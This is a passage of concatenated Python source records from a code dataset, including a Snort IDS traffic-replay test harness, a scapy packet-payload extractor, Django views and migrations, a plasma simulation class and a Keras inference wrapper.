'2018-04-20-1625',\n 'status': 'SUCCESS',\n },\n 'job_2': {\n 'last_run': '2018-04-20-1625',\n 'status': 'FAILED',\n },\n 'job_3': {\n 'last_run': '2018-04-19-1400',\n 'status': 'SUCCESS',\n },\n 'job_4': {\n 'last_run': '2018-04-19-1625',\n 'status': 'SUCCESS',\n },\n }\n\nclass TestScheduler(object):\n\n @pytest.mark.freeze_time('2018-04-20 16:20:00.012')\n def test_pending_jobs(self, schedule, schedule_history):\n scheduler = Scheduler()\n\n scheduler.schedule = schedule\n scheduler.history = schedule_history\n\n assert scheduler._pending_jobs() == { k: schedule[k] for k in ['job_2', 'job_3'] }\n","sub_path":"tests/dataland/test_schedule.py","file_name":"test_schedule.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"583100582","text":"#!/usr/bin/python3\n\nimport os\nimport signal\nimport sys\n\nfrom testbase import *\n\n\nclass TestSnortBase:\n\n\tMACVTAP_NAME = 'macvtap0'\n\tETHTOOL_ARGS = ('tso', 'gro', 'lro', 'gso', 'rx', 'tx', 'sg')\n\tSTATUS_INIT = 0\n\tSTATUS_START = 1\n\tSTATUS_DONE = 2\n\tSTATUS_ABORT = 3\n\n\tdef __init__(self):\n\t\tself.status = self.STATUS_INIT\n\t\treboot_remote_host(host=RUNNER_HOST, user=RUNNER_USER)\n\t\tself.shell = get_remote_shell(host=RUNNER_HOST, user=RUNNER_USER)\n\n\tdef simple_call(self, cmd):\n\t\treturn self.shell.run(cmd, stdout=sys.stdout.buffer, stderr=sys.stdout.buffer, allow_error=True).return_code\n\n\tdef init_test_session(self, session_id, local_tmpdir, session_tmpdir, args):\n\t\tlog('Adjusting swappiness of remote host...')\n\t\tself.simple_call(['sudo', 'sysctl', '-w', 'vm.swappiness=' + str(args.swappiness)])\n\t\tself.simple_call(['sysctl', 'vm.swappiness'])\n\t\tlog('Creating local temp dir...')\n\t\tsubprocess.call(['mkdir', '-p', local_tmpdir])\n\t\tsubprocess.call(['sudo', 'pkill', '-9', 'tcpreplay'])\n\t\tlog('Initializing remote temp dir...')\n\t\tself.simple_call(['mkdir', '-p', session_tmpdir])\n\t\tsubprocess.call(['rsync', '-zvrpEL', './tester_script', '%s@%s:%s/' % (RUNNER_USER, RUNNER_HOST, RUNNER_TMPDIR)])\n\t\tlog('Making sure remote system is clean...')\n\t\tself.simple_call(['sudo', 'ip', 'link', 'del', 'macvtap0'])\n\t\tself.simple_call(['sudo', 'pkill', '-9', 'snort'])\n\t\t# self.simple_call(['sudo', 'pkill', '-9', 'top'])\n\t\t# self.simple_call(['sudo', 'pkill', '-9', 'atop'])\n\t\t# Configure NIC to fit Suricata's need.\n\t\tlog('Configuring src and dest NICs...')\n\t\tself.simple_call(['sudo', 'ifconfig', args.dest_nic, 'promisc'])\n\t\tfor optarg in self.ETHTOOL_ARGS:\n\t\t\tsubprocess.call(['sudo', 'ethtool', '-K', args.src_nic, optarg, 'off'])\n\t\t\tself.simple_call(['sudo', 'ethtool', '-K', args.dest_nic, optarg, 'off'])\n\t\t# Setup macvtap\n\t\tif args.macvtap is True:\n\t\t\tlog('Creating macvtap device for NIC \"%s\"...' % args.dest_nic)\n\t\t\ttap_name = self.MACVTAP_NAME\n\t\t\tmac_addr = gen_random_mac_addr()\n\t\t\tself.simple_call(['sudo', 'ip', 'link', 'add', 'link', args.dest_nic, 'name', tap_name, 'type', 'macvtap', 'mode', 'passthru'])\n\t\t\tself.simple_call(['sudo', 'ip', 'link', 'set', tap_name, 'address', mac_addr, 'up'])\n\t\t\tself.simple_call(['sudo', 'ip', 'link', 'show', tap_name])\n\n\tdef upload_test_session(self, session_id, local_tmpdir, session_tmpdir):\n\t\tlog('Upload session data to data server...')\n\t\tdata_store = '%s@%s:%s/' % (DATA_USER, DATA_HOST, DATA_DIR)\n\t\tsubprocess.call(['sudo', 'rsync', '-zvrpE', local_tmpdir, data_store])\n\t\tself.simple_call(['sudo', 'rsync', '-zvrpE', session_tmpdir, data_store])\n\n\tdef destroy_session(self, session_id, local_tmpdir, session_tmpdir, args):\n\t\tsubprocess.call(['sudo', 'pkill', '-9', 'tcpreplay'])\n\t\tif args.macvtap:\n\t\t\tself.simple_call(['sudo', 'ip', 'link', 'del', 'macvtap0'])\n\t\tsubprocess.call(['rm', '-rfv', local_tmpdir])\n\t\tself.simple_call(['rm', '-rfv', session_tmpdir])\n\n\tdef close(self):\n\t\tdel self.shell\n\n\tdef wait_for_snort(self, session_tmpdir, prepend=[]):\n\t\tlog('Waiting for 60sec for Snort to stabilize...')\n\t\ttime.sleep(60)\n\t\tlog('Wait is complete.')\n\n\tdef replay_trace(self, local_tmpdir, trace_file, nworker, src_nic, poll_interval_sec, replay_speed_X):\n\t\tmonitor_proc = subprocess.Popen([os.getcwd() + '/tester_script/sysmon.py',\n\t\t\t'--delay', str(poll_interval_sec), '--outfile', 'sysstat.sender.csv',\n\t\t\t'--nic', src_nic, '--nic-outfile', 'netstat.tcpreplay.{nic}.csv'],\n\t\t\tstdout=sys.stdout, stderr=sys.stderr, cwd=local_tmpdir)\n\t\tlog('Sender sysmon started.')\n\t\tworkers = []\n\t\twith open(local_tmpdir + '/tcpreplay.out', 'wb') as f:\n\t\t\ttry:\n\t\t\t\tcmd = ['sudo', 'tcpreplay', '-i', src_nic, LOCAL_TRACE_REPO_DIR + '/' + trace_file]\n\t\t\t\tif replay_speed_X != 1:\n\t\t\t\t\tcmd += ['--multiplier', str(replay_speed_X)]\n\t\t\t\tfor i in range(nworker):\n\t\t\t\t\tworkers.append(subprocess.Popen(cmd, stdout=f, stderr=f))\n\t\t\t\tlog('Waiting for all %d tcpreplay processes to complete...' % nworker)\n\t\t\t\tfor w in workers:\n\t\t\t\t\tw.wait()\n\t\t\t\tlog('All tcpreplay processes are complete. Wait for 30sec before proceeding.')\n\t\t\t\ttime.sleep(30)\n\t\t\texcept KeyboardInterrupt as e:\n\t\t\t\tlog('Interrupted. Stopping tcpreplay processes...')\n\t\t\t\tfor w in workers:\n\t\t\t\t\tw.terminate()\n\t\t\t\tself.status = self.STATUS_ABORT\n\t\t\t\tlog('Aborted.')\n\t\t\tfinally:\n\t\t\t\tmonitor_proc.send_signal(signal.SIGINT)\n\t\t\t\tmonitor_proc.wait()\n\n\tdef start(self):\n\t\traise NotImplementedError()\n","sub_path":"experiments/snort_xenial/test_snort.py","file_name":"test_snort.py","file_ext":"py","file_size_in_byte":4381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"270717390","text":"import pytest\n\nfrom ethpm.exceptions import UriNotSupportedError\nfrom ethpm.utils.uri import get_manifest_from_content_addressed_uri\n\n\n@pytest.mark.parametrize(\n \"uri,source\", ((\"ipfs://QmbeVyFLSuEUxiXKwSsEjef6icpdTdA4kGG9BcrJXKNKUW\", \"ipfs\"),)\n)\ndef test_get_manifest_from_content_addressed_uris_for_supported_schemes(\n uri, source, monkeypatch\n):\n monkeypatch.setenv(\n \"ETHPM_URI_BACKEND_CLASS\", \"ethpm.backends.ipfs.DummyIPFSBackend\"\n )\n manifest = get_manifest_from_content_addressed_uri(uri)\n assert \"version\" in manifest\n assert \"package_name\" in manifest\n assert \"manifest_version\" in manifest\n\n\n@pytest.mark.parametrize(\n \"uri\",\n (\n # filesystem\n (\"file:///path_to_erc20.json\"),\n # registry URI scheme\n (\"erc1128://packages.zeppelinos.eth/erc20/v1.0.0\"),\n # swarm\n (\"bzz://da6adeeb4589d8652bbe5679aae6b6409ec85a20e92a8823c7c99e25dba9493d\"),\n (\n \"bzz-immutable:://da6adeeb4589d8652bbe5679aae6b6409ec85a20e92a8823c7c99e25dba9493d\"\n ),\n (\"bzz-raw://da6adeeb4589d8652bbe5679aae6b6409ec85a20e92a8823c7c99e25dba9493d\"),\n # internet\n (\"http://github.com/ethpm/ethpm-spec/examples/owned/1.0.0.json#content_hash\"),\n (\"https://github.com/ethpm/ethpm-spec/examples/owned/1.0.0.json#content_hash\"),\n ),\n)\ndef test_get_manfifest_from_content_addressed_uri_raises_exception_for_unsupported_schemes(\n uri\n):\n with pytest.raises(UriNotSupportedError):\n get_manifest_from_content_addressed_uri(uri)\n","sub_path":"tests/ethpm/utils/test_uri_utils.py","file_name":"test_uri_utils.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"537311601","text":"import bitly_api \n \nAPI_USER = \"username\" \nAPI_KEY = \"API_Key\"\nbitly = bitly_api.Connection(API_USER, API_KEY) \n \nresponse = bitly.shorten('http://google.com/') \n \n# Now let us print the Bitly URL \nprint(response) ","sub_path":"scripts/bb.py","file_name":"bb.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"271398827","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('contenttypes', '0002_remove_content_type_name'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='FieldWordCount',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('total_words', models.IntegerField(default=0)),\n ('valid', models.BooleanField(default=False)),\n ('field', models.CharField(db_index=True, max_length=64)),\n ('content_type', models.ForeignKey(to='contenttypes.ContentType', on_delete=models.CASCADE)),\n ],\n ),\n migrations.CreateModel(\n name='KeyValue',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('object_id', models.PositiveIntegerField(null=True, default=None)),\n ('field', models.CharField(max_length=255)),\n ('language', models.CharField(db_index=True, choices=[('lt', 'Lithuanian'), ('en', 'English'), ('ru', 'Russian')], max_length=5)),\n ('value', models.TextField(blank=True)),\n ('edited', models.BooleanField(default=False)),\n ('fuzzy', models.BooleanField(default=False)),\n ('digest', models.CharField(db_index=True, max_length=40)),\n ('updated', models.DateTimeField(auto_now=True)),\n ('content_type', models.ForeignKey(null=True, to='contenttypes.ContentType', on_delete=models.CASCADE)),\n ],\n ),\n migrations.CreateModel(\n name='ModelWordCount',\n fields=[\n ('id', models.AutoField(auto_created=True, verbose_name='ID', primary_key=True, serialize=False)),\n ('total_words', models.IntegerField(default=0)),\n ('valid', models.BooleanField(default=False)),\n ('content_type', models.OneToOneField(to='contenttypes.ContentType', on_delete=models.CASCADE)),\n ],\n options={\n 'abstract': False,\n },\n ),\n migrations.AlterUniqueTogether(\n name='keyvalue',\n unique_together=set([('language', 'content_type', 'field', 'object_id', 'digest')]),\n ),\n migrations.AlterUniqueTogether(\n name='fieldwordcount',\n unique_together=set([('content_type', 'field')]),\n ),\n ]\n","sub_path":"datatrans3/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"544527686","text":"import os\nfrom scapy.all import *\nimport time\n\ndef main():\n\n # dictionary with the number of packets per label\n packets_per_label = {}\n\n # getting a list with the labels already used\n labels_used = []\n\n # setting the labels that we want to exclude\n excluded_labels = ['HTTP', 'SSDP', 'Unknown', 'TLS', 'HTTP_Proxy', 'DNS']\n\n # set the file path\n cwd = os.getcwd()\n directory_path = 'data/flows/'\n\n start_time = time.time()\n\n # get the path to the labels.csv\n labels_file_path = 'data/labels.csv'\n\n # open the file for writing\n f_write = open('data/data.csv', 'w')\n\n # write the headers\n header = ['label']\n for i in range(1, 1481):\n header.append('byte'+str(i))\n f_write.write(','.join(header)+'\\n')\n\n # get the number of flows for display purposes\n if os.path.exists(labels_file_path):\n with open(labels_file_path) as f_read:\n num_flows = sum(1 for row in f_read)\n else:\n print('Could not find labels.csv')\n\n count = 0\n if os.path.exists(labels_file_path):\n with open(labels_file_path) as f_read:\n\n for line in f_read:\n if count == 0: # skip header row\n count += 1\n continue\n\n split_line = line.strip().split(',')\n\n # get the file path, labels and num packets from csv\n file_path = split_line[0]\n label = split_line[1]\n\n # if the label has not been used yet initialize\n if label not in labels_used:\n packets_per_label[label] = 1\n labels_used.append(label)\n\n file_path = directory_path + file_path\n\n # process the pcap file\n if label not in excluded_labels:\n packets_per_label = label_packets(\n file_path, label, f_write, packets_per_label)\n else:\n print('({}/{}) - {} ({}) has been skipped'.format(count,\n num_flows,\n file_path,\n label))\n count += 1\n continue\n\n print('({}/{}) - {} ({}) has been processed'.format(count,\n num_flows,\n file_path,\n label))\n count += 1\n else:\n print('Could not find labels.csv')\n\n end_time = time.time()\n print('Total time to run: {}'.format(end_time-start_time))\n\n # close file for reading\n f_read.close()\n\n # close file for writing\n f_write.close()\n\n\ndef label_packets(file_path, label, f_write, packets_per_label):\n '''\n param file_path (String): Path to the pcap file\n param label(String): Label for each packet in the flow \n '''\n # packets per label = 100 000\n maximum_packets = 100000\n\n # This value will determine how many packets per flow(with payload) to sample\n # set to ALL to sample all packets in a flow\n if packets_per_label[label] < maximum_packets:\n packets = 0\n packets_per_flow = 10000\n count_packets_per_flow = 0\n if os.path.exists(file_path):\n data = sniff(offline=file_path)\n #print('Read {}'.format(file_path))\n for pkt in data:\n if count_packets_per_flow <= packets_per_flow:\n if pkt.haslayer(IP) and pkt.haslayer(Raw):\n hex_data = linehexdump(\n pkt[IP].payload, onlyhex=1, dump=True).split(\" \")\n decimal_data = list(map(hex_to_dec, hex_data))\n # print(decimal_data)\n f_write.write(label+','+','.join(decimal_data))\n f_write.write('\\n')\n\n packets_per_label[label] += 1\n else:\n continue\n else:\n break\n count_packets_per_flow += 1\n\n else:\n print('Could not find {}'.format(file_path))\n\n return packets_per_label\n\n\ndef hex_to_dec(hex):\n return str(int(hex, base=16))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"preprocessing/packet-payload-extraction/packet_payload_extractor.py","file_name":"packet_payload_extractor.py","file_ext":"py","file_size_in_byte":4486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"140520616","text":"from django.shortcuts import render\nfrom django.apps import apps\nfrom django.http import HttpResponseRedirect\nfrom .forms import Order\nimport datetime\n\n\ndef index(request):\n if 'id_client' not in request.session:\n return HttpResponseRedirect('/')\n\n Cars = apps.get_model('index', 'Car')\n Distance = apps.get_model(\"index\", \"Distance\")\n Request = apps.get_model(\"index\", \"Request\")\n Client = apps.get_model(\"index\", \"Client\")\n\n cars = Cars.objects.all()\n\n if \"_logout\" in request.POST:\n del request.session['name']\n del request.session['phone_number']\n del request.session['id_client']\n return HttpResponseRedirect('/')\n\n locker = 0\n initial_data = {}\n if \"_car_order\" in request.POST:\n initial_data = {\n \"car\": request.POST.get('_car_order')\n }\n locker = 3\n\n form = Order(initial=initial_data)\n if request.method == \"POST\" and \"_car_order\" not in request.POST:\n form = Order(request.POST)\n if form.is_valid():\n car = Cars.objects.get(id=request.POST.get(\"car\"))\n client = Client.objects.get(id=request.session[\"id_client\"])\n distance = (Distance.objects.filter(\n from_address=request.POST.get(\"_from\"))\n ).get(\n to_address=request.POST.get(\"_to\")\n )\n comment = request.POST.get(\"comment\")\n today = datetime.datetime.today().date()\n\n order_obj = Request(client=client, car=car, distance=distance, comment=comment, data=today)\n order_obj.save()\n\n form = Order()\n\n client = Client.objects.get(id=request.session[\"id_client\"])\n all_orders = Request.objects.filter(client__exact=client)\n\n context = {\n \"all_orders\": all_orders,\n \"client\": client,\n \"cars_list\": cars,\n \"form\": form,\n \"reload\": locker\n }\n return render(request, 'authorized/authorized.html', context)\n\n","sub_path":"authorized/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"146055280","text":"#! /usr/bin/env python\n\n# Copyright (c) 2007-2011 PediaPress GmbH\n# See README.txt for additional licensing information.\n\nimport sys\n\nif not (2, 4) < sys.version_info[:2] < (3, 0):\n sys.exit(\"\"\"\n***** ERROR ***********************************************************\n* mwlib does not work with your python version. You need to use python\n* 2.5, 2.6 or 2.7\n***********************************************************************\n\"\"\")\n\ntry:\n from setuptools import setup, Extension\nexcept ImportError:\n import ez_setup\n ez_setup.use_setuptools()\n from setuptools import setup, Extension\n\n\ndef main():\n install_requires = [\"mwlib>=0.12.16\"]\n\n setup(name=\"mwlib.xhtml\",\n version=\"0.1.0\",\n entry_points={'mwlib.writers': ['xhtml = mwlib.xhtmlwriter:xhtmlwriter']},\n install_requires=install_requires,\n packages=[\"mwlib\", \"mwlib.xmlcat\"],\n namespace_packages=['mwlib'],\n include_package_data=True,\n zip_safe=False,\n url=\"http://code.pediapress.com/\",\n description=\"xhtml writer for mwlib\",\n license=\"BSD License\",\n maintainer=\"pediapress.com\",\n maintainer_email=\"info@pediapress.com\")\n\nif __name__ == '__main__':\n main()\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"80542124","text":"\"\"\"Data interface class\"\"\"\n# coding=utf-8\nimport os\nimport time\n\nimport h5py\nimport numpy as np\n\nfrom Constants import Constants\nfrom Grid import Grid\nfrom Species import Species\nfrom helper_functions import git_version\n\n\nclass Simulation:\n \"\"\"Contains data from one run of the simulation:\n NT: number of iterations\n NGrid: Number of points on the grid\n NParticle: Number of particles (one species right now)\n L: Length of the simulation domain\n epsilon_0: the physical constant\n particle_positions, velocities: shape (NT, NParticle) numpy arrays of historical particle data\n charge_density, electric_field: shape (NT, NGrid) numpy arrays of historical grid data\n \"\"\"\n\n def __init__(self,\n NT,\n dt,\n constants: Constants,\n grid: Grid,\n list_species,\n run_date=time.ctime(),\n git_version=git_version(),\n filename=time.strftime(\"%Y-%m-%d_%H-%M-%S.hdf5\"),\n title=\"\",\n ):\n \"\"\"\n :param NT:\n :param dt:\n :param constants:\n :param grid:\n :param list_species:\n \"\"\"\n\n self.NT = NT\n self.dt = dt\n self.grid = grid\n self.list_species = list_species\n self.field_energy = np.zeros(NT)\n self.total_energy = np.zeros(NT)\n self.constants = constants\n self.dt = dt\n self.filename = filename\n self.title = title\n self.git_version = git_version\n self.run_date = run_date\n\n def grid_species_initialization(self):\n \"\"\"\n Initializes grid and particle relations:\n 1. gathers charge from particles to grid\n 2. solves Poisson equation to get initial field\n 3. initializes pusher via a step back\n \"\"\"\n self.grid.gather_charge(self.list_species)\n self.grid.solve_poisson() # REFACTOR: allow for abstract field solver for relativistic case\n # this would go like\n # self.grid.solve_field()\n # and the backend would call solve_poisson or solve_relativistic_bs_poisson_maxwell_whatever\n for species in self.list_species:\n species.init_push(self.grid.electric_field_function, self.dt)\n\n def iteration(self, i: int):\n \"\"\"\n\n :param int i: iteration number\n Runs an iteration step\n 1. saves field values\n 2. for all particles:\n 2. 1. saves particle values\n 2. 2. pushes particles forward\n\n \"\"\"\n self.grid.save_field_values(i) # OPTIMIZE: is this necessary with what happens after loop\n\n total_kinetic_energy = 0 # accumulate over species\n for species in self.list_species:\n species.save_particle_values(i)\n kinetic_energy = species.push(self.grid.electric_field_function, self.dt).sum()\n # OPTIMIZE: remove this sum if it's not necessary (kinetic energy histogram?)\n species.return_to_bounds(self.grid.L)\n species.kinetic_energy_history[i] = kinetic_energy\n total_kinetic_energy += kinetic_energy\n\n self.grid.gather_charge(self.list_species)\n fourier_field_energy = self.grid.solve_poisson()\n self.grid.grid_energy_history[i] = fourier_field_energy\n self.total_energy[i] = total_kinetic_energy + fourier_field_energy\n\n def run(self, save_data: bool = True) -> float:\n \"\"\"\n Run n iterations of the simulation, saving data as it goes.\n Parameters\n ----------\n save_data (bool): Whether or not to save the data\n\n Returns\n -------\n runtime (float): runtime of this part of simulation in seconds\n \"\"\"\n start_time = time.time()\n for i in range(self.NT):\n self.iteration(i)\n runtime = time.time() - start_time\n\n if self.filename and save_data:\n self.save_data(filename=self.filename, runtime=runtime)\n return runtime\n\n def save_data(self, filename: str = time.strftime(\"%Y-%m-%d_%H-%M-%S.hdf5\"), runtime: bool = False) -> str:\n \"\"\"Save simulation data to hdf5.\n filename by default is the timestamp for the simulation.\"\"\"\n if not os.path.exists(os.path.dirname(filename)):\n os.makedirs(os.path.dirname(filename))\n with h5py.File(filename, \"w\") as f:\n grid_data = f.create_group('grid')\n self.grid.save_to_h5py(grid_data)\n\n all_species = f.create_group('species')\n for species in self.list_species:\n species_data = all_species.create_group(species.name)\n species.save_to_h5py(species_data)\n f.create_dataset(name=\"Field energy\", dtype=float, data=self.field_energy)\n f.create_dataset(name=\"Total energy\", dtype=float, data=self.total_energy)\n\n f.attrs['dt'] = self.dt\n f.attrs['NT'] = self.NT\n f.attrs['run_date'] = self.run_date\n f.attrs['git_version'] = self.git_version\n f.attrs['title'] = self.title\n if runtime:\n f.attrs['runtime'] = runtime\n print(\"Saved file to {}\".format(filename))\n return filename\n\n def __str__(self, *args, **kwargs):\n result_string = f\"\"\"\n {self.title} simulation ({os.path.basename(self.filename)}) containing {self.NT} iterations with time step {self.dt}\n Done on {self.run_date} from git version {self.git_version}\n {self.grid.NG}-cell grid of length {self.grid.L:.2f}. Epsilon zero = {self.constants.epsilon_0}, c = {self.constants.epsilon_0}\"\"\".lstrip()\n for species in self.list_species:\n result_string = result_string + \"\\n\" + str(species)\n return result_string # REFACTOR: add information from config file (run_coldplasma...)\n\n def __eq__(self, other: 'Simulation') -> bool:\n result = True\n # REFACTOR: this is a horrible way to do comparisons\n assert self.run_date == other.run_date, \"date not equal!\"\n result *= self.run_date == other.run_date\n assert self.git_version == other.git_version, \"Git version not equal!\"\n result *= self.git_version == other.git_version\n assert self.constants.epsilon_0 == other.constants.epsilon_0, print(\"epsilon 0 not equal!\")\n result *= self.constants.epsilon_0 == other.constants.epsilon_0\n\n assert self.constants.c == other.constants.c, \"c not equal!\"\n result *= self.constants.c == other.constants.c\n\n assert self.NT == other.NT, \"NT not equal!\"\n result *= self.NT == other.NT\n\n assert self.dt == other.dt, \"NT not equal!\"\n result *= self.dt == other.dt\n\n for this_species, other_species in zip(self.list_species, other.list_species):\n assert this_species == other_species, \"{} and {} not equal!\".format(this_species.name, other_species.name)\n result *= this_species == other_species\n assert self.grid == other.grid, \"grid not equal!\"\n result *= self.grid == other.grid\n return result\n\n\ndef load_data(filename: str) -> Simulation:\n \"\"\"Create a Simulation object from a hdf5 file\"\"\"\n with h5py.File(filename, \"r\") as f:\n total_energy = f['Total energy'][...]\n\n NT = f.attrs['NT']\n dt = f.attrs['dt']\n title = f.attrs['title']\n\n grid_data = f['grid']\n NG = grid_data.attrs['NGrid']\n grid = Grid(NT=NT, NG=NG)\n grid.load_from_h5py(grid_data)\n\n all_species = []\n for species_group_name in f['species']:\n species_group = f['species'][species_group_name]\n species = Species(1, 1, 1, NT=NT)\n species.load_from_h5py(species_group)\n all_species.append(species)\n run_date = f.attrs['run_date']\n git_version = f.attrs['git_version']\n S = Simulation(NT, dt, Constants(epsilon_0=grid.epsilon_0, c=1), grid, all_species, run_date, git_version,\n filename=filename,\n title=title)\n\n S.total_energy = total_energy\n\n return S\n","sub_path":"Simulation.py","file_name":"Simulation.py","file_ext":"py","file_size_in_byte":8087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"485119215","text":"import sys, os, time\n\nimport numpy as np\n\nfrom ServerModelsAbstract import BackendModel\n\ndef softmax(output):\n output_max = np.max(output, axis=3, keepdims=True)\n exps = np.exp(output-output_max)\n exp_sums = np.sum(exps, axis=3, keepdims=True)\n return exps/exp_sums\n\nclass KerasModel(BackendModel):\n\n def __init__(self, model_fn, gpuid):\n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = str(gpuid)\n import keras\n import keras.models\n\n self.model_fn = model_fn\n \n tmodel = keras.models.load_model(self.model_fn, custom_objects={\"jaccard_loss\":keras.metrics.mean_squared_error})\n self.model = keras.models.Model(inputs=tmodel.inputs, outputs=[tmodel.output, tmodel.layers[-2].output])\n self.model.compile(\"sgd\",\"mse\")\n\n self.output_channels = self.model.output_shape[0][3]\n self.output_features = self.model.output_shape[1][3]\n self.input_size = self.model.input_shape[1]\n\n def run(self, naip_data, naip_fn, extent, buffer):\n return self.run_model_on_tile(naip_data), os.path.basename(self.model_fn)\n\n def run_model_on_tile(self, naip_tile, batch_size=32):\n\n naip_tile = naip_tile / 255.0\n\n down_weight_padding = 40\n height = naip_tile.shape[0]\n width = naip_tile.shape[1]\n\n stride_x = self.input_size - down_weight_padding*2\n stride_y = self.input_size - down_weight_padding*2\n\n output = np.zeros((height, width, self.output_channels), dtype=np.float32)\n output_features = np.zeros((height, width, self.output_features), dtype=np.float32)\n counts = np.zeros((height, width), dtype=np.float32) + 0.000000001\n kernel = np.ones((self.input_size, self.input_size), dtype=np.float32) * 0.1\n kernel[10:-10, 10:-10] = 1\n kernel[down_weight_padding:down_weight_padding+stride_y,\n down_weight_padding:down_weight_padding+stride_x] = 5\n\n batch = []\n batch_indices = []\n batch_count = 0\n\n for y_index in (list(range(0, height - self.input_size, stride_y)) + [height - self.input_size,]):\n for x_index in (list(range(0, width - self.input_size, stride_x)) + [width - self.input_size,]):\n naip_im = naip_tile[y_index:y_index+self.input_size, x_index:x_index+self.input_size, :]\n\n batch.append(naip_im)\n batch_indices.append((y_index, x_index))\n batch_count+=1\n\n model_output = self.model.predict(np.array(batch), batch_size=batch_size, verbose=0)\n \n for i, (y, x) in enumerate(batch_indices):\n output[y:y+self.input_size, x:x+self.input_size] += model_output[0][i] * kernel[..., np.newaxis]\n output_features[y:y+self.input_size, x:x+self.input_size] += model_output[1][i] * kernel[..., np.newaxis]\n counts[y:y+self.input_size, x:x+self.input_size] += kernel\n\n output = output / counts[..., np.newaxis]\n output[:,:,4] += output[:,:,5]\n output[:,:,4] += output[:,:,6]\n output = output[:,:,1:5]\n\n output_features = output_features / counts[..., np.newaxis]\n\n return output, output_features","sub_path":"web_tool/ServerModelsICLRDynamicFormat.py","file_name":"ServerModelsICLRDynamicFormat.py","file_ext":"py","file_size_in_byte":3211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"62132508","text":"import numpy as np\nimport math\n\nclass LineOfResponse:\n\n def __init__(self, A, B, lineID):\n self._A = A # row vector\n self._A.shape = (1,3)\n self._B = B # row vector\n self._B.shape = (1,3)\n self._V = B - A #vector from B to A\n self._line_ID = lineID\n self._length = np.linalg.norm(self._A - self._B)\n \n def getNumPoints(self, spacing):\n num_points = math.floor(self._length/spacing) + 1# numper of discrete points\n return int(num_points)\n \n def getLineID(self):\n return self._line_ID\n \n \n # let point x_i be some point along a line defined by B - A\n # then x_i = A + ri(B - A)\n # where i = 1 ... num_points and\n # r = 1/num_points\n def getLineDiscretization(self, spacing):\n num_points = self.getNumPoints(spacing)\n r = 1.0/(num_points - 1.0)\n \n i_array = np.arange(num_points)\n i_array.shape = (num_points, 1)\n A_mat = np.tile(self._A, (num_points, 1))\n \n x = A_mat + r * (np.matmul( i_array, self._V ))\n \n return x\n \n \n \n \n ","sub_path":"lib/lor.py","file_name":"lor.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"294796769","text":"# -*- coding: utf-8 -*-\nimport logging\nimport re\nimport os\n\nfrom django.conf import settings\nfrom django.core.urlresolvers import reverse\nfrom django.core.exceptions import ImproperlyConfigured\nfrom django.http import HttpResponseRedirect, Http404, HttpResponse\nfrom django.utils import translation\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.views.generic import (\n View,\n TemplateView as BaseTemplateView,\n RedirectView as BaseRedirectView,\n)\n\nfrom protection_civil.apps.frontend.contact_form import BaseContactForm, ContactForm\nfrom protection_civil.apps.frontend.urlnameresolver import resolve_to_name\n\n\n_template_name_regex = re.compile(r'^(.+)(\\.[^.]+)')\n_template_section_regex = re.compile(r'^([^/]+)/([^-]+)?')\n_language_url_spliter = re.compile(r'^http://[^/]+/(\\w+)/(.+)$')\nlogger = logging.getLogger('django.request')\n\n\nclass TemplateView(BaseTemplateView):\n section = None\n\n def get_template_names(self):\n if self.template_name is None:\n raise ImproperlyConfigured(\n \"TemplateResponseMixin requires either a definition of \"\n \"'template_name' or an implementation of 'get_template_names()'\")\n else:\n (name, ext) = os.path.splitext(self.template_name)\n lang = translation.get_language()\n return [name + ext]\n\n def get_context_data(self, *args, **kwargs):\n context = super(TemplateView, self).get_context_data(*args, **kwargs)\n if self.section is None:\n match = _template_section_regex.match(self.template_name)\n if match:\n context['section'] = match.group(1)\n sub_section = match.group(2).replace('.html','')\n context['sub_section'] = sub_section\n else:\n context['section'] = ''\n else:\n context['section'] = self.template_name\n context['lang'] = translation.get_language()\n return context\n\n\nclass ChangeLanguageView(View):\n def get(self, *args, **kwargs):\n chosen_lang = self.request.GET['chosen_lang']\n from_url = self.request.GET['from_url']\n\n if (chosen_lang is None) or (from_url is None):\n raise Http404\n match = _language_url_spliter.match(from_url)\n\n if match is None:\n translation.activate(chosen_lang)\n return HttpResponseRedirect(reverse('home'))\n\n from_lang = match.group(1)\n from_url = '/' + from_lang + '/' + match.group(2)\n\n translation.activate(from_lang)\n from_route_name = resolve_to_name(from_url)\n\n translation.activate(chosen_lang)\n\n try:\n return HttpResponseRedirect(reverse(from_route_name))\n except:\n return HttpResponseRedirect(reverse('home'))\n\n\nclass ContactView(TemplateView):\n def get_context_data(self, *args, **kwargs):\n context = super(ContactView, 